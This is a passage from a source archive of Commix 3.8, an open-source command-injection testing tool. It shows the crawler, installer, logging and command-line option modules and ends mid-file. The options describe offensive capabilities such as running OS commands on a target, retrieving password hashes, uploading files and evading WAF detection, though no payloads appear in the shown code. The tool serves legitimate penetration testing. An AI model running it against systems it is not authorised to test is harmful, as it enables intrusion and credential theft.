crawling_results.write(url + "\n")
return
elif message in settings.CHOICE_NO:
return
elif message in settings.CHOICE_QUIT:
raise SystemExit()
else:
common.invalid_option(message)
pass
"""
Check for URLs in sitemap.xml.
"""
def sitemap(url):
try:
if not url.endswith(".xml"):
if not url.endswith("/"):
url = url + "/"
url = _urllib.parse.urljoin(url, "sitemap.xml")
response = request(url)
content = checks.page_encoding(response, action="decode")
for match in re.finditer(r"<loc>\s*([^<]+)", content or ""):
url = match.group(1).strip()
if url not in sitemap_loc:
sitemap_loc.append(url)
if url.endswith(".xml") and "sitemap" in url.lower():
while True:
warn_msg = "A sitemap recursion detected (" + url + ")."
print(settings.print_warning_msg(warn_msg))
message = "Do you want to follow? [Y/n] > "
message = common.read_input(message, default="Y", check_batch=True)
if message in settings.CHOICE_YES:
sitemap(url)
break
elif message in settings.CHOICE_NO:
break
elif message in settings.CHOICE_QUIT:
raise SystemExit()
else:
common.invalid_option(message)
pass
no_usable_links(sitemap_loc)
return sitemap_loc
except:
if not menu.options.crawldepth:
raise SystemExit()
pass
"""
Store the identified (valid) hrefs.
"""
def store_hrefs(href, identified_hrefs, redirection):
set(crawled_hrefs)
set(new_crawled_hrefs)
if href not in crawled_hrefs:
if (settings.DEFAULT_CRAWLING_DEPTH != 1 and href not in new_crawled_hrefs) or redirection:
new_crawled_hrefs.append(href)
identified_hrefs = True
crawled_hrefs.append(href)
return identified_hrefs
"""
Do a request to target URL.
"""
def request(url):
return requests.crawler_request(url)
"""
Enable crawler.
"""
def enable_crawler():
message = ""
if not settings.CRAWLING:
while True:
message = "Do you want to enable crawler? [y/N] > "
message = common.read_input(message, default="N", check_batch=True)
if message in settings.CHOICE_YES:
menu.options.crawldepth = 1
break
if message in settings.CHOICE_NO:
break
elif message in settings.CHOICE_QUIT:
raise SystemExit()
else:
common.invalid_option(message)
pass
set_crawling_depth()
"""
Check for the existence of site's sitemap
"""
def check_sitemap():
while True:
message = "Do you want to check target"+ ('', 's')[settings.MULTI_TARGETS] + " for "
message += "the existence of site's sitemap(.xml)? [y/N] > "
message = common.read_input(message, default="N", check_batch=True)
if message in settings.CHOICE_YES:
settings.SITEMAP_CHECK = True
return
elif message in settings.CHOICE_NO:
settings.SITEMAP_CHECK = False
return
elif message in settings.CHOICE_QUIT:
raise SystemExit()
else:
common.invalid_option(message)
pass
"""
Check if no usable links found.
"""
def no_usable_links(crawled_hrefs):
if len(crawled_hrefs) == 0:
warn_msg = "No usable links found (with GET parameters)."
print(settings.print_warning_msg(warn_msg))
if not settings.MULTI_TARGETS:
raise SystemExit()
"""
The crawing process.
"""
def do_process(url):
identified_hrefs = False
if settings.CRAWLED_SKIPPED_URLS_NUM == 0 or settings.CRAWLED_URLS_NUM != 0:
sys.stdout.write("\r")
# Grab the crawled hrefs.
try:
response = request(url)
content = checks.page_encoding(response, action="decode")
match = re.search(r"(?si)<html[^>]*>(.+)</html>", content)
if match:
content = "<html>%s</html>" % match.group(1)
soup = BeautifulSoup(content)
tags = soup('a')
if not tags:
tags = []
tags += re.finditer(r'(?i)\s(href|src)=["\'](?P<href>[^>"\']+)', content)
tags += re.finditer(r'(?i)window\.open\(["\'](?P<href>[^)"\']+)["\']', content)
for tag in tags:
href = tag.get("href") if hasattr(tag, settings.HTTPMETHOD.GET) else tag.group("href")
if href:
href = _urllib.parse.urljoin(url, _urllib.parse.unquote(href))
if _urllib.parse.urlparse(url).netloc in href:
if (common.extract_regex_result(r"\A[^?]+\.(?P<result>\w+)(\?|\Z)", href) or "") not in settings.CRAWL_EXCLUDE_EXTENSIONS:
if not re.search(r"\?(v=)?\d+\Z", href) and not re.search(r"(?i)\.(js|css)(\?|\Z)", href):
if menu.options.crawl_exclude and re.search(menu.options.crawl_exclude, href or ""):
if href not in visited_hrefs:
visited_hrefs.append(href)
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "Skipping URL " + href + "."
print(settings.print_debug_msg(debug_msg))
else:
identified_hrefs = store_hrefs(href, identified_hrefs, redirection=False)
no_usable_links(crawled_hrefs)
if identified_hrefs:
if len(new_crawled_hrefs) != 0 and settings.DEFAULT_CRAWLING_DEPTH != 1:
return list(set(new_crawled_hrefs))
return list(set(crawled_hrefs))
return list("")
except Exception as e: # for non-HTML files and non-valid links
pass
"""
The main crawler.
"""
def crawler(url, url_num, crawling_list):
init_global_vars()
if crawling_list > 1:
_ = " (" + str(url_num) + "/" + str(crawling_list) + ")"
else:
_ = ""
info_msg = "Starting crawler for target URL '" + url + "'" + _ + "."
print(settings.print_info_msg(info_msg))
response = request(url)
if type(response) is not bool and response is not None:
if settings.SITEMAP_CHECK:
enable_crawler()
if settings.SITEMAP_CHECK is None:
check_sitemap()
if settings.SITEMAP_CHECK:
output_href = sitemap(url)
if not settings.SITEMAP_CHECK or (settings.SITEMAP_CHECK and output_href is None):
output_href = do_process(url)
if settings.MULTI_TARGETS and settings.DEFAULT_CRAWLING_DEPTH != 1:
settings.DEFAULT_CRAWLING_DEPTH = 1
while settings.DEFAULT_CRAWLING_DEPTH <= int(menu.options.crawldepth):
info_msg = "Searching for usable "
info_msg += "links with depth " + str(settings.DEFAULT_CRAWLING_DEPTH) + "."
print(settings.print_info_msg(info_msg))
if settings.DEFAULT_CRAWLING_DEPTH == 2:
output_href = new_crawled_hrefs
elif settings.DEFAULT_CRAWLING_DEPTH > 2:
output_href = new_crawled_hrefs + crawled_hrefs
try:
[output_href.remove(x) for x in visited_hrefs if x in output_href]
except TypeError:
pass
link = 0
if output_href is not None:
for url in output_href:
if url not in visited_hrefs and url is not None:
link += 1
settings.CRAWLED_URLS_NUM = link
if settings.SINGLE_WHITESPACE in url:
url = url.replace(settings.SINGLE_WHITESPACE, _urllib.parse.quote_plus(settings.SINGLE_WHITESPACE))
visited_hrefs.append(url)
do_process(url)
info_msg = str(link)
info_msg += "/" + str(len(output_href)) + " links visited."
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
if link != 0:
print(settings.SINGLE_WHITESPACE)
settings.DEFAULT_CRAWLING_DEPTH += 1
output_href = crawled_hrefs
no_usable_links(output_href)
return output_href
# eof commix-3.8/src/utils/install.py 0000664 0000000 0000000 00000013506 14466364451 0016651 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import os
import sys
import platform
import subprocess
from src.utils import menu
from src.utils import common
from src.utils import settings
from src.utils import requirments
from src.thirdparty.six.moves import input as _input
from src.thirdparty.colorama import Fore, Back, Style, init
"""
Make a local installation of 'commix' on your system.
"""
"""
The un-installer.
"""
def uninstaller():
info_msg = "Starting the uninstaller. "
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
try:
subprocess.Popen("rm -rf /usr/bin/" + settings.APPLICATION + " >/dev/null 2>&1", shell=True).wait()
subprocess.Popen("rm -rf /usr/share/" + settings.APPLICATION + " >/dev/null 2>&1", shell=True).wait()
except:
print(settings.SINGLE_WHITESPACE)
raise SystemExit()
sys.stdout.write(settings.SUCCESS_STATUS + "\n")
sys.stdout.flush()
info_msg = "The un-installation of commix has finished!"
print(settings.print_bold_info_msg(info_msg))
"""
The installer.
"""
def installer():
packages = "build-essential python-dev"
dependencies = "git python-pip"
info_msg = "Starting the installer. "
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
# Check if OS is Linux.
if settings.PLATFORM == "posix":
# You need to have administrative privileges to run this script.
if not common.running_as_admin():
print(settings.SINGLE_WHITESPACE)
err_msg = "You need to have administrative privileges to run this option."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
# Check if commix is already installed.
if os.path.isdir("/usr/share/" + settings.APPLICATION + ""):
print(settings.SINGLE_WHITESPACE)
warn_msg = "It seems that " + settings.APPLICATION
warn_msg += " is already installed in your system."
print(settings.print_warning_msg(warn_msg))
while True:
message = "Do you want to remove commix? [Y/n] > "
uninstall = common.read_input(message, default="Y", check_batch=True)
if uninstall in settings.CHOICE_YES:
uninstaller()
raise SystemExit()
elif uninstall in settings.CHOICE_NO or \
uninstall in settings.CHOICE_QUIT:
raise SystemExit()
else:
common.invalid_option(uninstall)
pass
# Check for git.
if not os.path.isfile("/usr/bin/git") or not os.path.isfile("/usr/bin/pip"):
# Install requirement.
if os.path.isfile("/etc/apt/sources.list"):
sys.stdout.write(settings.SUCCESS_STATUS + "\n")
sys.stdout.flush()
# Check for dependencies.
dependencies_items = dependencies.split()
for item in dependencies_items:
requirments.do_check(item)
else:
print(settings.SINGLE_WHITESPACE)
err_msg = "The installer is not designed for any "
err_msg += "other Linux distro than Ubuntu / Debian. "
err_msg += "Please install manually: " + dependencies
print(settings.print_critical_msg(err_msg))
print(settings.SINGLE_WHITESPACE)
raise SystemExit()
# Force install of necessary packages
subprocess.Popen("apt-get --force-yes -y install " + packages + ">/dev/null 2>&1", shell=True).wait()
sys.stdout.write(settings.SUCCESS_STATUS + "\n")
sys.stdout.flush()
info_msg = "Installing " + settings.APPLICATION
info_msg += " into the /usr/share/" + settings.APPLICATION + ". "
sys.stdout.write(settings.print_info_msg(info_msg))
try:
current_dir = os.getcwd()
subprocess.Popen("cp -r " + current_dir + " /usr/share/" + settings.APPLICATION + " >/dev/null 2>&1", shell=True).wait()
subprocess.Popen("chmod 775 /usr/share/" + settings.APPLICATION + "/" + settings.APPLICATION + ".py >/dev/null 2>&1", shell=True).wait()
except:
print(settings.SINGLE_WHITESPACE)
raise SystemExit()
sys.stdout.write(settings.SUCCESS_STATUS + "\n")
sys.stdout.flush()
info_msg = "Installing " + settings.APPLICATION
info_msg += " to /usr/bin/" + settings.APPLICATION + ". "
sys.stdout.write(settings.print_info_msg(info_msg))
try:
with open("/usr/bin/" + settings.APPLICATION, 'w') as f:
f.write('#!/bin/bash\n')
f.write('cd /usr/share/commix/ && ./commix.py "$@"\n')
subprocess.Popen("chmod +x /usr/bin/" + settings.APPLICATION + " >/dev/null 2>&1", shell=True).wait()
except:
print(settings.SINGLE_WHITESPACE)
raise SystemExit()
sys.stdout.write(settings.SUCCESS_STATUS + "\n")
sys.stdout.flush()
#Create the Output Directory
try:
os.stat(settings.OUTPUT_DIR)
except:
try:
os.mkdir(settings.OUTPUT_DIR)
except OSError as err_msg:
try:
error_msg = str(err_msg).split("] ")[1] + "."
except IndexError:
error_msg = str(err_msg) + "."
print(settings.print_critical_msg(error_msg))
raise SystemExit()
info_msg = "The installation is finished! Type '"
info_msg += settings.APPLICATION + "' to launch it."
print(settings.print_bold_info_msg(info_msg))
else :
print(settings.SINGLE_WHITESPACE)
err_msg = "The installer is not designed for any other system other than Linux. "
err_msg += "Please install manually: " + packages + dependencies
print(settings.print_critical_msg(err_msg))
print(settings.SINGLE_WHITESPACE)
raise SystemExit()
# eof commix-3.8/src/utils/logs.py 0000775 0000000 0000000 00000015443 14466364451 0016154 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import os
import re
import sys
import time
import sqlite3
import datetime
from src.utils import menu
from src.utils import settings
from src.utils import session_handler
from src.core.injections.controller import checks
from src.thirdparty.six.moves import urllib as _urllib
from src.thirdparty.colorama import Fore, Back, Style, init
"""
1. Generate injection logs (logs.txt) in "./ouput" file.
2. Check for logs updates and apply if any!
"""
"""
Directory creation
"""
def path_creation(path):
if not os.path.exists(path):
try:
os.mkdir(path)
except OSError as err_msg:
try:
error_msg = str(err_msg).split("] ")[1] + "."
except IndexError:
error_msg = str(err_msg) + "."
print(settings.print_critical_msg(error_msg))
raise SystemExit()
"""
Logs filename creation.
"""
def logs_filename_creation(url):
if menu.options.output_dir:
menu.options.output_dir = os.path.abspath(menu.options.output_dir)
if os.path.isdir(menu.options.output_dir):
output_dir = menu.options.output_dir
else:
error_msg = "The '" + menu.options.output_dir + "' is not directory."
print(settings.print_critical_msg(error_msg))
raise SystemExit()
else:
output_dir = settings.OUTPUT_DIR
path_creation(os.path.dirname(settings.OUTPUT_DIR))
if not output_dir.endswith("/"):
output_dir = output_dir + "/"
# The logs filename construction.
filename = create_log_file(url, output_dir)
return filename
"""
Create log files
"""
def create_log_file(url, output_dir):
host = _urllib.parse.urlparse(url).netloc.replace(":","_") + "/"
logs_path = output_dir + host
path_creation(logs_path)
# Create cli history file if does not exist.
settings.CLI_HISTORY = logs_path + "cli_history"
if not os.path.exists(settings.CLI_HISTORY):
open(settings.CLI_HISTORY,'a').close()
if menu.options.session_file is not None:
if os.path.exists(menu.options.session_file):
settings.SESSION_FILE = menu.options.session_file
else:
err_msg = "The provided session file ('" + \
menu.options.session_file + \
"') does not exist."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
else:
settings.SESSION_FILE = logs_path + "session.db"
# Load command history
if settings.LOAD_SESSION == True:
checks.load_cmd_history()
# The logs filename construction.
filename = logs_path + settings.OUTPUT_FILE
try:
output_file = open(filename, "a")
if not menu.options.no_logging:
output_file.write("\n" + "=" * 37)
output_file.write("\n" + "| Started in " + \
datetime.datetime.fromtimestamp(time.time()).strftime('%m/%d/%Y' + \
" at " + '%H:%M:%S' + " |"))
output_file.write("\n" + "=" * 37)
output_file.write("\n" + re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Tested URL : " + url)
output_file.close()
except IOError as err_msg:
try:
error_msg = str(err_msg.args[0]).split("] ")[1] + "."
except:
error_msg = str(err_msg.args[0]) + "."
print(settings.print_critical_msg(error_msg))
raise SystemExit()
return filename
"""
Add the injection type / technique in log files.
"""
def add_type_and_technique(export_injection_info, filename, injection_type, technique):
if export_injection_info == False:
settings.SHOW_LOGS_MSG = True
output_file = open(filename, "a")
if not menu.options.no_logging:
output_file.write("\n" + re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Type: " + injection_type.title())
output_file.write("\n" + re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Technique: " + technique.title())
output_file.close()
export_injection_info = True
return export_injection_info
"""
Add the vulnerable parameter in log files.
"""
def add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload):
output_file = open(filename, "a")
if not menu.options.no_logging:
if header_name[1:] == "cookie":
header_name = " ("+ header_name[1:] + ") " + vuln_parameter
if header_name[1:] == "":
header_name = " ("+ http_request_method + ") " + vuln_parameter
output_file.write("\n" + re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + the_type[1:].title() + ": " + header_name[1:])
vp_flag = False
output_file.write("\n")
output_file.close()
"""
Add any payload in log files.
"""
def update_payload(filename, counter, payload):
output_file = open(filename, "a")
if not menu.options.no_logging:
if "\n" in payload:
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Used payload: " + re.sub("%20", settings.SINGLE_WHITESPACE, _urllib.parse.unquote_plus(payload.replace("\n", "\\n"))) + "\n")
else:
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Used payload: " + payload.replace("%20", settings.SINGLE_WHITESPACE) + "\n")
output_file.close()
"""
Add any executed command and
execution output result in log files.
"""
def executed_command(filename, cmd, output):
try:
output_file = open(filename, "a")
if not menu.options.no_logging:
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Executed command: " + cmd + "\n")
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_SIGN) + "Execution output: " + output + "\n")
output_file.close()
except TypeError:
pass
"""
Fetched data logged to text files.
"""
def logs_notification(filename):
# Save command history.
if not menu.options.no_logging:
info_msg = "Fetched data logged to text files under '" + os.getcwd() + "/" + filename + "'."
print(settings.print_info_msg(info_msg))
"""
Log all HTTP traffic into a textual file.
"""
def log_traffic(header):
output_file = open(menu.options.traffic_file, "a")
output_file.write(header)
output_file.close()
"""
Print logs notification.
"""
def print_logs_notification(filename, url):
checks.save_cmd_history()
if settings.SHOW_LOGS_MSG == True and not menu.options.no_logging:
logs_notification(filename)
if url:
session_handler.clear(url)
# eof commix-3.8/src/utils/menu.py 0000775 0000000 0000000 00000066261 14466364451 0016160 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import os
import sys
from src.utils import settings
from optparse import OptionGroup
from optparse import OptionParser
from optparse import SUPPRESS_HELP as SUPPRESS
from src.thirdparty.six.moves import input as _input
from src.thirdparty.colorama import Fore, Back, Style, init
# Use Colorama to make Termcolor work on Windows too :)
if settings.IS_WINDOWS:
init()
"""
The commix's banner.
"""
def banner():
print(""" __
___ ___ ___ ___ ___ ___ /\_\ __ _
/`___\ / __`\ /' __` __`\ /' __` __`\/\ \ /\ \/'\ """ + settings.COLOR_VERSION + """
/\ \__//\ \/\ \/\ \/\ \/\ \/\ \/\ \/\ \ \ \\\/> </
\ \____\ \____/\ \_\ \_\ \_\ \_\ \_\ \_\ \_\\/\_/\\_\\ """ + Fore.GREY + Style.UNDERLINE + settings.APPLICATION_URL + Style.RESET_ALL + """
\/____/\/___/ \/_/\/_/\/_/\/_/\/_/\/_/\/_/\//\/_/ (""" + Fore.LIGHTRED_EX + settings.APPLICATION_TWITTER + Style.RESET_ALL + """)
+--
""" + Style.BRIGHT + settings.DESCRIPTION_FULL + Style.RESET_ALL + """
Copyright © """ + settings.YEAR + """ """ + settings.AUTHOR + Style.RESET_ALL + """ (""" + Fore.LIGHTRED_EX + settings.AUTHOR_TWITTER + Style.RESET_ALL + """)
+--
""")
_ = os.path.normpath(sys.argv[0])
usage = "python %prog [option(s)]"
parser = OptionParser(usage=usage)
# General options
general = OptionGroup(parser, Style.BRIGHT + Style.UNDERLINE + "General" + Style.RESET_ALL,
"These options relate to general matters. ")
general.add_option("-v",
default=0,
action="store",
type="int",
dest="verbose",
help="Verbosity level (0-4, Default: 0).")
general.add_option("--install",
action="store_true",
dest="install",
default=False,
help="Install " + settings.APPLICATION + " to your system.")
general.add_option("--version",
action="store_true",
dest="version",
help="Show version number and exit.")
general.add_option("--update",
action="store_true",
dest="update",
help="Check for updates (apply if any) and exit.")
general.add_option("--output-dir",
action="store",
dest="output_dir",
help="Set custom output directory path.")
general.add_option("-s",
action="store",
dest="session_file",
default=None,
help="Load session from a stored (.sqlite) file.")
general.add_option("--flush-session",
action="store_true",
dest="flush_session",
help="Flush session files for current target.")
general.add_option("--ignore-session",
action="store_true",
dest="ignore_session",
help="Ignore results stored in session file.")
general.add_option("-t",
action="store",
dest="traffic_file",
default=None,
help="Log all HTTP traffic into a textual file.")
general.add_option("--batch",
action="store_true",
dest="batch",
default=False,
help="Never ask for user input, use the default behaviour.")
general.add_option("--skip-heuristics",
action="store_true",
dest="skip_heuristics",
default=False,
help="Skip heuristic detection for code injection.")
general.add_option("--codec",
action="store",
dest="codec",
default=None,
help="Force codec for character encoding (e.g. 'ascii').")
general.add_option("--charset",
action="store",
dest="charset",
default=None,
help="Time-related injection charset (e.g. \"0123456789abcdef\")")
general.add_option("--check-internet",
action="store_true",
dest="check_internet",
help="Check internet connection before assessing the target.")
general.add_option("--answers",
dest="answers",
help="Set predefined answers (e.g. \"quit=N,follow=N\")")
# Target options
target = OptionGroup(parser, Style.BRIGHT + Style.UNDERLINE + "Target" + Style.RESET_ALL,
"This options has to be provided, to define the target URL. ")
target.add_option("-u","--url",
action="store",
dest="url",
help="Target URL.")
target.add_option("--url-reload",
action="store_true",
dest="url_reload",
default=False,
help="Reload target URL after command execution.")
target.add_option("-l",
dest="logfile",
help="Parse target from HTTP proxy log file.")
target.add_option("-m",
dest="bulkfile",
help="Scan multiple targets given in a textual file.")
target.add_option("-r",
dest="requestfile",
help="Load HTTP request from a file.")
target.add_option("--crawl",
default=0,
dest="crawldepth",
type="int",
help="Crawl the website starting from the target URL (Default: 1).")
target.add_option("--crawl-exclude",
dest="crawl_exclude",
default=None,
help="Regexp to exclude pages from crawling (e.g. \"logout\").")
target.add_option("-x",
dest="sitemap_url",
help="Parse target(s) from remote sitemap(.xml) file.")
target.add_option("--method",
dest="method",
help="Force usage of given HTTP method (e.g. PUT)")
# Request options
request = OptionGroup(parser, Style.BRIGHT + Style.UNDERLINE + "Request" + Style.RESET_ALL,
"These options can be used to specify how to connect to the target URL.")
request.add_option("-d", "--data",
action="store",
dest="data",
default=False,
help="Data string to be sent through POST.")
request.add_option("--host",
action="store",
dest="host",
help="HTTP Host header.")
request.add_option("--referer",
action="store",
dest="referer",
help="HTTP Referer header.")
request.add_option("--user-agent",
action="store",
dest="agent",
default = settings.DEFAULT_USER_AGENT,
help="HTTP User-Agent header.")
request.add_option("--random-agent",
action="store_true",
dest="random_agent",
default=False,
help="Use a randomly selected HTTP User-Agent header.")
request.add_option("--param-del",
action="store",
dest="pdel",
help="Set character for splitting parameter values.")
request.add_option("--cookie",
action="store",
dest="cookie",
help="HTTP Cookie header.")
request.add_option("--cookie-del",
action="store",
dest="cdel",
help="Set character for splitting cookie values.")
request.add_option("-H","--header",
action="store",
dest="header",
help="Extra header (e.g. 'X-Forwarded-For: 127.0.0.1').")
request.add_option("--headers",
action="store",
dest="headers",
help="Extra headers (e.g. 'Accept-Language: fr\\nETag: 123').")
request.add_option("--proxy",
action="store",
dest="proxy",
default=False,
help="Use a proxy to connect to the target URL.")
request.add_option("--tor",
action="store_true",
dest="tor",
default=False,
help="Use the Tor network.")
request.add_option("--tor-port",
action="store",
dest="tor_port",
default=False,
help="Set Tor proxy port (Default: 8118).")
request.add_option("--tor-check",
action="store_true",
dest="tor_check",
default=False,
help="Check to see if Tor is used properly.")
request.add_option("--auth-url",
action="store",
dest="auth_url",
help="Login panel URL.")
request.add_option("--auth-data",
action="store",
dest="auth_data",
help="Login parameters and data.")
request.add_option("--auth-type",
action="store",
dest="auth_type",
help="HTTP authentication type (Basic, Digest, Bearer).")
request.add_option("--auth-cred",
action="store",
dest="auth_cred",
help="HTTP authentication credentials (e.g. 'admin:admin').")
request.add_option("--ignore-code",
action="store",
dest="ignore_code",
default=False,
help="Ignore (problematic) HTTP error code (e.g. 401).")
request.add_option("--force-ssl",
action="store_true",
dest="force_ssl",
default=False,
help="Force usage of SSL/HTTPS.")
request.add_option("--ignore-redirects",
action="store_true",
dest="ignore_redirects",
default=False,
help="Ignore redirection attempts.")
request.add_option("--timeout",
action="store",
dest="timeout",
default=settings.TIMEOUT,
type="int",
help="Seconds to wait before timeout connection (Default: " + str(settings.TIMEOUT) + ").")
request.add_option("--retries",
action="store",
dest="retries",
default=settings.MAX_RETRIES,
type="int",
help="Retries when the connection timeouts (Default: " + str(settings.MAX_RETRIES) + ").")
request.add_option("--drop-set-cookie",
action="store_true",
dest="drop_set_cookie",
default=False,
help="Ignore Set-Cookie header from response.")
# Enumeration options
enumeration = OptionGroup(parser, Style.BRIGHT + Style.UNDERLINE + "Enumeration" + Style.RESET_ALL,
"These options can be used to enumerate the target host.")
enumeration.add_option("--all",
action="store_true",
dest="enum_all",
default=False,
help="Retrieve everything.")
enumeration.add_option("--current-user",
action="store_true",
dest="current_user",
default=False,
help="Retrieve current user name.")
enumeration.add_option("--hostname",
action="store_true",
dest="hostname",
default=False,
help="Retrieve current hostname.")
enumeration.add_option("--is-root",
action="store_true",
dest="is_root",
default=False,
help="Check if the current user have root privileges.")
enumeration.add_option("--is-admin",
action="store_true",
dest="is_admin",
default=False,
help="Check if the current user have admin privileges.")
enumeration.add_option("--sys-info",
action="store_true",
dest="sys_info",
default=False,
help="Retrieve system information.")
enumeration.add_option("--users",
action="store_true",
dest="users",
default=False,
help="Retrieve system users.")
enumeration.add_option("--passwords",
action="store_true",
dest="passwords",
default=False,
help="Retrieve system users password hashes.")
enumeration.add_option("--privileges",
action="store_true",
dest="privileges",
default=False,
help="Retrieve system users privileges.")
enumeration.add_option("--ps-version",
action="store_true",
dest="ps_version",
default=False,
help="Retrieve PowerShell's version number.")
# File access options
file_access = OptionGroup(parser, Style.BRIGHT + Style.UNDERLINE + "File access" + Style.RESET_ALL,
"These options can be used to access files on the target host.")
file_access.add_option("--file-read",
action="store",
dest="file_read",
help="Read a file from the target host.")
file_access.add_option("--file-write",
action="store",
dest="file_write",
help="Write to a file on the target host.")
file_access.add_option("--file-upload",
action="store",
dest="file_upload",
help="Upload a file on the target host.")
file_access.add_option("--file-dest",
action="store",
dest="file_dest",
help="Host's absolute filepath to write and/or upload to.")
# Modules options
modules = OptionGroup(parser, Style.BRIGHT + Style.UNDERLINE + "Modules" + Style.RESET_ALL,
"These options can be used increase the detection and/or injection capabilities.")
modules.add_option("--shellshock",
action="store_true",
dest="shellshock",
default=False,
help="The 'shellshock' injection module.")
# Injection options
injection = OptionGroup(parser, Style.BRIGHT + Style.UNDERLINE + "Injection" + Style.RESET_ALL,
"These options can be used to specify which parameters to inject and to provide custom injection payloads.")
injection.add_option("-p",
action="store",
dest="test_parameter",
help="Testable parameter(s).")
injection.add_option("--skip",
action="store",
dest="skip_parameter",
help="Skip testing for given parameter(s).")
injection.add_option("--suffix",
action="store",
dest="suffix",
help="Injection payload suffix string.")
injection.add_option("--prefix",
action="store",
dest="prefix",
help="Injection payload prefix string.")
injection.add_option("--technique",
action="store",
default="",
dest="tech",
help="Specify injection technique(s) to use.")
injection.add_option("--skip-technique",
action="store",
dest="skip_tech",
help="Specify injection technique(s) to skip.")
injection.add_option("--maxlen",
action="store",
dest="maxlen",
default=settings.MAXLEN,
help="Set the max length of output for time-related injection techniques (Default: " + str(settings.MAXLEN) + " chars).")
injection.add_option("--delay",
default=0,
action="store",
type="int",
dest="delay",
help="Seconds to delay between each HTTP request.")
injection.add_option("--time-sec",
default=1,
action="store",
type="int",
dest="timesec",
help="Seconds to delay the OS response (Default: 1).")
injection.add_option("--tmp-path",
action="store",
dest="tmp_path",
default=False,
help="Set the absolute path of web server's temp directory.")
injection.add_option("--web-root",
action="store",
dest="web_root",
default=False,
help="Set the web server document root directory (e.g. '/var/www').")
injection.add_option("--alter-shell",
action="store",
dest="alter_shell",
default = "",
help="Use an alternative os-shell (e.g. 'Python').")
injection.add_option("--os-cmd",
action="store",
dest="os_cmd",
default=False,
help="Execute a single operating system command.")
injection.add_option("--os",
action="store",
dest="os",
default=False,
help="Force back-end operating system (e.g. 'Windows' or 'Unix').")
injection.add_option("--tamper",
action="store",
dest="tamper",
default=False,
help="Use given script(s) for tampering injection data.")
injection.add_option("--msf-path",
action="store",
dest="msf_path",
default=False,
help="Set a local path where metasploit is installed.")
# Detection options
detection = OptionGroup(parser, Style.BRIGHT + Style.UNDERLINE + "Detection" + Style.RESET_ALL, "These options can be "
"used to customize the detection phase.")
detection.add_option("--level",
dest="level",
type="int",
default=1,
help="Level of tests to perform (1-3, Default: " + str(settings.DEFAULT_INJECTION_LEVEL) + ").")
detection.add_option("--skip-calc",
action="store_true",
dest="skip_calc",
default=False,
help="Skip the mathematic calculation during the detection phase.")
detection.add_option("--skip-empty",
action="store_true",
dest="skip_empty",
default=False,
help="Skip testing the parameter(s) with empty value(s).")
detection.add_option("--failed-tries",
action="store",
type="int",
dest="failed_tries",
default=len(settings.SEPARATORS_LVL1) - 1,
help="Set a number of failed injection tries, in file-based technique.")
# Miscellaneous options
misc = OptionGroup(parser, Style.BRIGHT + Style.UNDERLINE + "Miscellaneous" + Style.RESET_ALL)
misc.add_option("--ignore-dependencies",
action="store_true",
dest="ignore_dependencies",
default=False,
help="Ignore all required third-party library dependencies.")
misc.add_option("--list-tampers",
action="store_true",
dest="list_tampers",
default=False,
help="Display list of available tamper scripts.")
misc.add_option("--alert",
action="store",
dest="alert",
default=False,
help="Run host OS command(s) when injection point is found.")
misc.add_option("--no-logging",
action="store_true",
dest="no_logging",
default=False,
help="Disable logging to a file.")
misc.add_option("--purge",
action="store_true",
dest="purge",
default=False,
help="Safely remove all content from commix data directory.")
misc.add_option("--skip-waf",
action="store_true",
dest="skip_waf",
default=False,
help="Skip heuristic detection of WAF/IPS/IDS protection.")
misc.add_option("--mobile",
action="store_true",
dest="mobile",
default=False,
help="Imitate smartphone through HTTP User-Agent header.")
misc.add_option("--offline",
action="store_true",
dest="offline",
default=False,
help="Work in offline mode.\n")
misc.add_option("--wizard",
action="store_true",
dest="wizard",
default=False,
help="Simple wizard interface for beginner users.")
misc.add_option("--disable-coloring",
action="store_true",
dest="disable_coloring",
default=False,
help="Disable console output coloring.")
# Hidden options
parser.add_option("--smoke-test",
action="store_true",
dest="smoke_test",
help=SUPPRESS)
parser.add_option_group(general)
parser.add_option_group(target)
parser.add_option_group(request)
parser.add_option_group(enumeration)
parser.add_option_group(file_access)
parser.add_option_group(modules)
parser.add_option_group(injection)
parser.add_option_group(detection)
parser.add_option_group(misc)
"""
Dirty hack from sqlmap [1], to display longer options without breaking into two lines.
